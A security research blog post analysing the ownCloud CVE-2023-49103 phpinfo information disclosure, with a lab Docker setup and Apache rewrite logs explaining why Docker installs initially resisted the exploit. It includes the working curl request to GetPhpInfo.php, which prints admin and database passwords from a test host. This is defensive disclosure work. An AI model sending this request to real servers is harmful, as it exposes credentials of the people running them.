Details and Caveats for ownCloud information disclosure (CVE-2023-49103)

Explore our deep-dive into CVE-2023-49103, a critical vulnerability in ownCloud’s Graph API. We discuss the exploit, its impact on Docker installations, and our comprehensive testing process. Learn about the role of Apache’s mod_rewrite and the htaccess.RewriteBase rule in mitigating the vulnerability. Ideal for cybersecurity professionals and technologists.
owncloud
vulnerabilities
podman
docker
disclosure
Author

Ron Bowes

Published

November 29, 2023

2023-12-01 Update #3

Rapid7 has released full exploit details, including how to pass the mod_rewrite rule. We’ll continue watching for scanners to update their endpoint!

2023-11-30 Update #2

We received an exploit that does work against the Docker version! We updated our tags to detect the new variation and verified that folks scanning the internet are not using this, which means the opportunistic attackers are not able to exploit Docker versions (right now). But it’s only a matter of time, so be sure you’ve patched!

2023-11-30 Update #1

The original researcher has indicated that exploiting Docker versions actually is possible, but there’s more to the exploit than we’ve uncovered. They expect to post full details next week, so patch your hosts!

In the meantime, we’re continuing to monitor exploitation attempts against our sensors. As far as we can tell, everybody scanning the internet is using the same exploit we tested, which will almost certainly fail against vulnerable hosts.


2023-11-29 Original Post

THE INFORMATION BELOW HERE IS NO LONGER CURRENT - SEE THE UPDATES ABOVE

Earlier this week, we published a tag for CVE-2023-49103 and noticed that attackers were trying to exploit the vulnerability. We wrote a blog discussing it, and got feedback that Docker installations do not appear to be vulnerable. That posed quite a mystery!

The basic idea of the vulnerability is that a script included by default with ownCloud would run phpinfo() and show the results to the user:

The phpinfo() function prints out a bunch of system information, including environmental variables. Since ownCloud’s Docker installation, like many (most?) Docker installations, passes credentials in the environment, exposing the environment would also expose credentials (including the default admin password, the MySQL password, and others).

Test environment

To test this issue, we set up a docker environment with the following docker-compose.yml file:

version: "3"

services:
  owncloud:
    image: owncloud/server:${OWNCLOUD_VERSION}
    container_name: owncloud_server
    restart: always
    ports:
      - ${HTTP_PORT}:8080
    depends_on:
      - mariadb
      - redis
    environment:
      - OWNCLOUD_DOMAIN=${OWNCLOUD_DOMAIN}
      - OWNCLOUD_TRUSTED_DOMAINS=${OWNCLOUD_TRUSTED_DOMAINS}
      - OWNCLOUD_DB_TYPE=mysql
      - OWNCLOUD_DB_NAME=owncloud
      - OWNCLOUD_DB_USERNAME=owncloud
      - OWNCLOUD_DB_PASSWORD=owncloud
      - OWNCLOUD_DB_HOST=mariadb
      - OWNCLOUD_ADMIN_USERNAME=${ADMIN_USERNAME}
      - OWNCLOUD_ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - OWNCLOUD_MYSQL_UTF8MB4=true
      - OWNCLOUD_REDIS_ENABLED=true
      - OWNCLOUD_REDIS_HOST=redis
      - APACHE_LOG_LEVEL=${APACHE_LOG_LEVEL}
    healthcheck:
      test: ["CMD", "/usr/bin/healthcheck"]
      interval: 30s
      timeout: 10s
      retries: 5

  mariadb:
    image: mariadb:10.11 # minimum required ownCloud version is 10.9
    container_name: owncloud_mariadb
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=owncloud
      - MYSQL_USER=owncloud
      - MYSQL_PASSWORD=owncloud
      - MYSQL_DATABASE=owncloud
      - MARIADB_AUTO_UPGRADE=1
    command: ["--max-allowed-packet=128M", "--innodb-log-file-size=64M"]
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-u", "root", "--password=owncloud"]
      interval: 10s
      timeout: 5s
      retries: 5

  redis:
    image: redis:6
    container_name: owncloud_redis
    restart: always
    command: ["--databases", "1"]
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 10s
      timeout: 5s
      retries: 5

And an associated .env file:

OWNCLOUD_VERSION=10.10.0
OWNCLOUD_DOMAIN=localhost:8080
OWNCLOUD_TRUSTED_DOMAINS=localhost
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
APACHE_LOG_LEVEL=trace6
HTTP_PORT=8080

In addition to removing persistent volumes and other stuff that doesn’t really matter, we made two important changes to the docker-compose.yml file published by ownCloud:

  • We added an APACHE_LOG_LEVEL variable and cranked it up to trace6
  • We also set the OWNCLOUD_VERSION to 10.10.0, which is an arbitrary-but-old version we chose for testing

Once that’s done, you can stand up the necessary containers (I use Fedora, which prefers podman-compose, but docker-compose should work just as well):

$ podman-compose up                                                                                            
podman-compose version: 1.0.6                                      
['podman', '--version', '']                                                                                                                
using podman version: 4.7.2                                                                                                                
** excluding:  set()                                                                                                                                                                                                                                                                   
['podman', 'ps', '--filter', 'label=io.podman.compose.project=owncloud', '-a', '--format', '{{ index .Labels "io.podman.compose.config-hash"}}']
['podman', 'network', 'exists', 'owncloud_default']
[...]

Once that’s done, we can access the server on localhost port 8080. Easy!

Testing the exploit

But, as noted online, the exploit doesn’t actually work:

$ curl -i 'http://localhost:8080/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php'
HTTP/1.1 302 Found
Date: Wed, 29 Nov 2023 19:53:15 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Robots-Tag: none
X-Frame-Options: SAMEORIGIN
Location: http://localhost:8080/login
[...]

We heard rumors that removing /owncloud might fix it, but no-go on that, either:

$ curl -i 'http://localhost:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php'
HTTP/1.1 302 Found
Date: Wed, 29 Nov 2023 19:54:04 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Robots-Tag: none
X-Frame-Options: SAMEORIGIN
Location: http://localhost:8080/login
[...]

(It actually appears that both paths are potentially used, depending on how ownCloud is installed/configured)

Logging in also didn’t help. What’s going on?!

Apache and mod_rewrite

As noted earlier, we boosted Apache’s log levels sky-high by setting trace6. That causes a ton of output, but what’s important is:

[...]
[Wed Nov 29 19:55:08.760558 2023] [rewrite:trace4] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] RewriteCond: input='/var/www/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' pattern='!/ocs-provider/' => matched                      
[Wed Nov 29 19:55:08.760564 2023] [rewrite:trace4] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] RewriteCond: input='/var/www/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' pattern='!/ocm-provider/' => matched                      
[Wed Nov 29 19:55:08.760571 2023] [rewrite:trace4] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] RewriteCond: input='/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' pattern='!^/.well-known/(acme-challenge|pki-validation)/.*' => matched
[Wed Nov 29 19:55:08.760578 2023] [rewrite:trace2] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] rewrite 'apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' -> 'index.php'
[Wed Nov 29 19:55:08.760583 2023] [rewrite:trace5] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] setting env variable 'PATH_INFO' to ''
[...]

A mod_rewrite rule is redirecting GetPhpInfo.php to index.php. Hmm! After some looking, we found the mod_write rule in the /var/www/owncloud/.htaccess file:

$ podman exec -it owncloud_server /bin/bash
root@610b52d2a2bb:/var/www/owncloud# cat .htaccess
[...]
<IfModule pagespeed_module>
  ModPagespeed Off
</IfModule>

#### DO NOT CHANGE ANYTHING ABOVE THIS LINE ####

RewriteCond %{REQUEST_FILENAME} !/ocm-provider/
  RewriteCond %{REQUEST_URI} !^/.well-known/(acme-challenge|pki-validation)/.*
  RewriteRule . index.php [PT,E=PATH_INFO:$1]
  
[...]

Note the “DO NOT CHANGE” line - we’ll come back to that!

The RewriteRule at the end is the problem - it changes every unknown path to index.php. That’d do it! If we remove that line and try the payload again, it works:

$ curl -s 'http://localhost:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' | grep PASSWORD
<tr><td class="e">OWNCLOUD_MAIL_SMTP_PASSWORD </td><td class="v"><i>no value</i> </td></tr>
<tr><td class="e">OWNCLOUD_ADMIN_PASSWORD </td><td class="v">admin </td></tr>
<tr><td class="e">OWNCLOUD_DB_PASSWORD </td><td class="v">owncloud </td></tr>
<tr><td class="e">OWNCLOUD_LOST_PASSWORD_LINK </td><td class="v"><i>no value</i> </td></tr>
<tr><td class="e">OWNCLOUD_REDIS_PASSWORD </td><td class="v"><i>no value</i> </td></tr>

But, where’d that rule come from?

Where’d that rule come from?

We found the .htaccess file from the source tree, which does not have that line! In fact, the file ends where the “DO NOT CHANGE” line we noted earlier is!

It took a bit of investigating (ie, Googling and downloading Github repos), but eventually we found documentation on how ownCloud uses rewrites. Based on that, we found Setup.php in the github repository, which configures the server. When the server starts, Setup;php checks a config variable called htaccess.RewriteBase, which, if set, adds a bunch of rewrite lines (including the one that breaks the exploit) to the .htaccess file.

So that’s where it came from!

So basically, the htaccess.RewriteBase rule determines whether or not the server is vulnerable.

Conclusion (TL;DR)

The conclusion is no longer the best information we have! See the updates above

So, this exploit relies on an errant call to phpinfo() to leak environment variables, which are used to pass sensitive information to the Docker image.

With that in mind, the three situations that can happen are:

  • ownCloud is installed in a non-Docker environment with htaccess.RewriteBase unset - vulnerable, but likely doesn’t expose sensitive information
  • ownCloud is installed in a non-Docker environment with htaccess.RewriteBase set - not vulnerable
  • ownCloud is installed in Docker, where htaccess.RewriteBase always appears to be set - not vulnerable

This isn’t to say that it’s 100% non-exploitable! It’s certainly possible that somebody could modify that Dockerized version to be vulnerable (we certainly did!), and folks may roll their own Docker version that’s vulnerable, and, of course, folks might store valuable stuff in the environment for non-Docker versions. But, overall, useful exploitation of this vulnerability seems unlikely; as a result, we don’t expect we’ll see much interesting exploitation, if any. But attackers are welcome to keep hitting our sensors, and we’ll keep logging it!